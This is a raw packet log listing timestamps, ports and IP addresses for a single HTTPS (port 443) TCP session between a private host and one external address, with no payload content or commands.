Feb 27, 2025 20:25:06.798458099 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.798507929 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.798547983 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.798552990 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.798598051 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.798598051 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.798715115 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.798754930 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.798794985 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.798799992 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.798830032 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.798918962 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.798938036 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.798976898 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.799016953 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.799021959 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.799050093 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.799221039 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.799262047 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.799333096 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.799340963 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.799350023 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.799642086 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.799683094 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.799701929 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.799710035 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.799846888 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.799848080 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.799894094 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.799945116 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.799949884 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.800034046 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.800088882 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.800132990 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.800162077 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.800179005 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.800215006 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.842403889 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.870498896 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.870558977 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.870614052 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.870629072 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.870687008 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.870687008 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.892532110 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.892600060 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.892708063 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.892708063 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.892716885 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.892859936 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.893038988 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.893079042 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.893110037 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.893115997 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.893141031 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.893212080 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.893281937 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.893321037 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.893348932 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.893362999 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.893387079 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.893506050 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.893611908 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.893650055 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.893667936 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.893703938 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.893735886 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.893735886 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.893861055 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.893893957 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.893934965 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.893990040 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.893990040 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.893996954 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.894213915 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.894356966 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.894404888 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.894505024 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.894505024 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.894510984 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.894525051 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.894578934 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.894583941 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.894762039 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.894762039 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.923523903 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.923597097 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.923664093 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.923664093 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.923674107 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:06.923748970 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:06.924127102 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.417802095 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.417831898 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.417880058 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.417970896 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.417996883 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.418040037 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.418040037 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.418117046 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.418157101 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.418203115 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.418210030 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.418222904 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.418278933 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.418337107 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.418375015 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.418412924 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.418430090 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.418457985 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.418467999 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.418505907 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.418509960 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.418524027 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.418534040 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.418600082 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.418603897 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.418637037 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.418638945 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.418734074 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.418781042 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.418823004 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.418828011 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.418869972 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.418869972 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.418951988 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.418991089 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.419024944 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.419028997 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.419059038 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.419106007 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.419195890 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.419234037 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.419275045 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.419280052 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.419327974 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.419327974 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.419368982 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.419481993 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.419488907 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.419764996 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.419802904 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.419848919 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.419856071 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.419979095 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.420238018 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.420277119 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.420326948 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.420335054 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.420362949 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.420494080 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.420532942 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.420603037 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.420603037 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.420612097 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.420675039 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.420715094 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.420733929 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.420751095 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.421166897 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.421228886 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.421266079 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.421307087 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.421312094 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.421360016 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.421436071 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.421473980 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.421539068 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.421539068 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.421546936 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.421628952 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.421665907 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.421705961 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.421710968 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.421737909 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.421775103 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.421818018 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.421834946 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.421857119 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.421952009 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.422261953 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.422300100 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.422339916 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.422346115 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.422389984 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.422499895 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.422537088 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.422560930 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.422576904 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.422669888 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.422704935 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.422707081 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.422770023 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.422770023 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.422775984 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.422816038 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.422962904 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.422970057 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.423249006 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.423285961 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.423329115 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.423335075 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.423361063 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.423540115 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.423583984 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.423604965 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.423619986 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.423675060 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.423688889 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.423729897 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.423768044 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.423774004 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.423813105 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.423830986 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.423888922 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.423894882 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.423981905 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.424223900 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.424273968 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.424310923 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.424315929 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.424360037 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.424360037 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.424540043 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.424577951 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.424633026 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.424640894 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.424691916 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.424705029 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.424707890 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.424727917 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.424770117 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.424774885 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.424845934 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.424845934 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.424851894 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.424900055 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.424961090 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.425004005 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.425055027 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.425060034 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.425072908 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.425144911 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.429542065 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.429584026 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.429646969 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.429658890 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.429764032 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.429811954 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.429815054 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.429815054 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.429840088 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.429888964 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.430052042 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.430089951 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.430150032 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.430150032 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.430156946 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.430222034 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.430264950 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.430278063 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.430299997 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.430339098 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.430377007 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.430506945 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.430553913 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.430604935 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.430604935 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.430612087 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.430690050 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.430735111 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.430741072 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.430756092 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.430809021 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.430809021 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.430881023 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.431044102 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.431081057 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.431092024 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.431106091 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.431159973 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.431221962 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.431265116 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.431305885 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.431319952 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.431348085 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.431509972 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.431550026 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.431612015 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.431612015 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.431618929 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.431716919 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.431762934 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.431796074 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.431802034 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.431828022 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.431876898 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.431915998 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.431971073 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.431971073 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.431977987 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.432073116 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.432218075 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.432224989 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.432378054 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.432416916 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.432466030 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.432473898 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.432493925 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.441154957 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.441198111 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.441226959 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.441240072 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.441268921 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.471733093 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.471748114 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.471795082 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.471808910 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.471829891 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.471951962 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.471963882 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.472023964 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.472031116 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.474004030 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.474015951 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.474067926 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.474075079 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.474411964 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.474422932 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.474469900 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.474474907 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.475758076 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.475770950 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.475810051 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.475816965 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.475833893 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.501760006 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.501818895 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.501838923 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.501853943 CET	443	52546	104.21.68.54	192.168.2.16
